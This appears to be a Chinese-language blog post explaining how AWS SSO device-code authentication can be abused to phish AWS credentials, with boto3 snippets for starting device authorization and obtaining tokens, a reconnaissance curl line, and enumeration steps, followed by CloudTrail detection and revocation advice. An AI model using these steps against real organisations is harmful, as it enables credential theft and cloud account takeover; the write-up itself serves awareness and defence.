写点什么

通过 AWS SSO 设备代码认证进行 AWS 凭证钓鱼攻击(2024 年更新)

作者:qife122
  • 2025-09-27
    福建
  • 本文字数:1022 字

    阅读完需:约 3 分钟

通过 AWS SSO 设备代码认证进行 AWS 凭证钓鱼攻击(2024 年更新)

背景

AWS SSO 简介

AWS SSO(现称为 Identity Center)是 AWS 提供的多账户权限管理服务。支持三种身份源:


  • 直接创建在 AWS SSO 身份存储中

  • 从 Active Directory 同步

  • 通过 SAML 集成第三方身份提供商(如 Okta)

CLI 使用机制

AWS SSO 实现了 OAuth 2.0 设备授权许可标准,支持 CLI 认证流程:


$ aws configure ssoSSO start URL: https://my-sso-portal.awsapps.com/startSSO region: us-east-1
复制代码


系统会生成设备验证链接和代码,用户通过浏览器完成认证。

攻击原理

设备代码授权流程

  1. 客户端调用sso-oidc:RegisterClient注册 OIDC 客户端

  2. 调用sso-oidc:StartDeviceAuthorization生成验证链接

  3. 用户打开链接完成身份提供商认证

  4. 客户端调用sso-oidc:CreateToken获取 SSO 访问令牌

钓鱼攻击步骤

步骤 0:获取目标信息通过社会工程或子域名发现获取 AWS SSO URL:


$ curl https://victim.awsapps.com/start/ | grep 'meta name="region"'
复制代码


步骤 1:发起设备代码授权


sso_oidc = boto3.client('sso-oidc', region_name=REGION)client = sso_oidc.register_client(clientName='my-attacker')authz = sso_oidc.start_device_authorization(    clientId=client_id,    startUrl=AWS_SSO_START_URL)
复制代码


步骤 2:发送钓鱼链接受害者看到合法的 AWS 验证页面,只需点击"允许"即可完成授权。


步骤 3:获取访问令牌


token_response = sso_oidc.create_token(    deviceCode=deviceCode,    grantType="urn:ietf:params:oauth:grant-type:device_code")
复制代码


步骤 4:枚举 AWS 资源


  • 列出可访问账户:sso:ListAccounts

  • 列出账户角色:sso:ListAccountRoles

  • 获取 STS 凭证:sso:GetRoleCredentials

检测与防护

CloudTrail 日志事件

检测策略

  1. 邮件网关检测:拦截device.sso.<region>.amazonaws.com链接

  2. IP 差异检测:监控短时间内不同 IP 的 ListApplications 和 CreateToken 事件

  3. 异常活动检测:监控 sso:ListAccountRoles 事件数量异常增长

凭证撤销

通过移除用户的所有权限集分配可立即撤销访问令牌:


  • 直接移除用户权限分配

  • 移除所属组的权限分配

结论

设备代码认证虽然提升了 CLI 使用体验,但存在固有的钓鱼风险。组织需要结合安全意识培训和 CloudTrail 监控来加强防护。AWS 明确表示这是设计特性而非漏洞,所有实现 OIDC 设备代码认证的身份提供商都存在类似风险。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)_钓鱼攻击_qife122_InfoQ写作社区